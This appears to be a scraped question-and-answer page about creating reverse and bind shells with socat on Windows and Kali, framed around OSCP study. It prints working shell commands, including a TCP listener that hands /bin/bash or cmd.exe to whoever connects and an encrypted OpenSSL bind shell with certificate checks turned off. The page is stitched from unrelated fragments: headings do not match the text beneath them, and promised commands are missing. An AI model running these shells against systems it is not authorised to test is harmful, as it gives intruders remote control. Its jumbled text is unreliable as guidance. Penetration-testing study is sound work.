How to create a Windows reverse shell using SOCAT?
I recently upgraded my OSCP material to get the new OSCP version 2020 and I came across the chapter with socat to create encrypted bind shell/reverse shell. I thought I understood how to use it, but my attempts to send an encrypted reverse shell from my windows machine to my Kali machine has been unsuccessfuls.
How to create a fully interactive reverse shell?
If socat is installed on the victim server, you can launch a reverse shell with it. You must catch the connection with socat as well to get the full functions. The following commands will yield a fully interactive TTY reverse shell:
How to run a remote shell with SOCAT?
socat -d -d TCP4-LISTEN:4443 EXEC:/bin/bash This will open port 4443 and listen on it and upon a new connection the /bin/bash will be executed, giving this way a remote shell to the attacker. NOTE: If our victim machine was a Windows machine the command above would be adjusted to socat -d -d TCP4-LISTEN:4443 EXEC:’cmd.exe’,pipes.
How to create an interactive PowerShell shell in Windows?
I’ve read that socat is capable of creating interactive shells. I’d like to create an interactive Powershell shell. Windows (socat.exe used from here: https://github.com/StudioEtrange/socat-windows) Does anyone know why this doesn’t work?
How to encrypt bind and reverse shells with SOCAT?
Also note that we set verify=0 which means that we do not wish to check the certificate. NOTE: If our victim machine was a Windows machine the command above would be adjusted to socat OPENSSL-LISTEN:4443,cert=bind.pem,verify=0,fork EXEC:’cmd.exe’,pipes.
How does SOCAT transfer data between two locations?
One way to think of socat is as the cat command which transfers data between two locations rather than from a file to standard output. I say that socat works on two locations rather than two files because you can grab data from a network socket, named pipe, or even setup a general virtual network interface as one end point.
https://www.youtube.com/watch?v=Tfx8xkNtRk4